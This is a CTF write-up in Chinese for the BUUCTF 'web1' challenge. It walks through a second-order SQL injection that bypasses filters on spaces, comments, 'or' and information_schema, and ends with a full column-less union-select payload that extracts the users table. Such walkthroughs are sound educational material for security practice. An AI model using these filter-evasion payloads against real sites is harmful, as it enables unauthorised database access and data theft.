BUUCTF web web1 無列名注入

2022-07-25 01:51:11 字數 1215 閱讀 5067

註冊並登入後發現,sql注入,注入點在廣告申請的介面。加單引號發現報錯

先通過insert插入資料,然後再通過id查詢相應的資料,所以是二次注入。

常見報錯函式updatexml,floor以及extractvalue被過濾

注釋符被過濾因此要閉合單引號

空格被過濾,不過可以用/**/繞過。

or被過濾所以order和infor都不能用。

首先使用group代替order

查字段數:1'/**/group/**/by/**/23,'1-->報錯。1'/**/group/**/by/**/22,'1-->無報錯。有22個字段。

查表名:1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22。2和3有回顯

構造1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

mysql.innodb_table_stats參考鏈結:

得到表名users

在不知道列名以及不能使用information_schema的情況下,利用子查詢進行無列名注入。簡要概括就是利用union select用字元替代相應的列名

最終payload:-1'union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2,3/**/as/**/a/**/union/**/select*from/**/users)as/**/x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

這裡的as x 是必須的from 部分中的每乙個表都必須有乙個名字,在子查詢中 select 的每一列都必須有乙個獨一無二的名字。

無列名注入參考鏈結:

無視窗外掛程式1

mfc控制項的不建立視窗也允許啟用的選項查探 在atl無視窗activex控制項中響應timer訊息 uiflash.h ioleinplacesitewindowless duilib修復activexui控制項bug,以支援flash透明動態背景 cbitmap和hbitmap的區別及相互轉換方...

leetcode 3 無重複的最大子列

先上自己的暴力演算法,執行的結果是時間效率較差,那就應該有啥比較靈活的做法。class solution if sign if maxmax j 執行到這裡,說明該開頭已經檢查完畢 return max 看了一下,是通過滑動視窗的想法,維護兩個變數,分別指向視窗的左邊界與右邊界,不斷判斷是否有重複的...

無跡卡爾曼濾波 1

無跡卡爾曼濾波 unscented kalman filter 中需要用到無跡變換。維基百科中對unscented transform的描述如下 為了理解unsecnted transform首先考慮乙個問題 x為服從正態分佈的一維隨機變數,y是隨機變數x的函式分布,那麼隨機變數y的期望和方差是多少...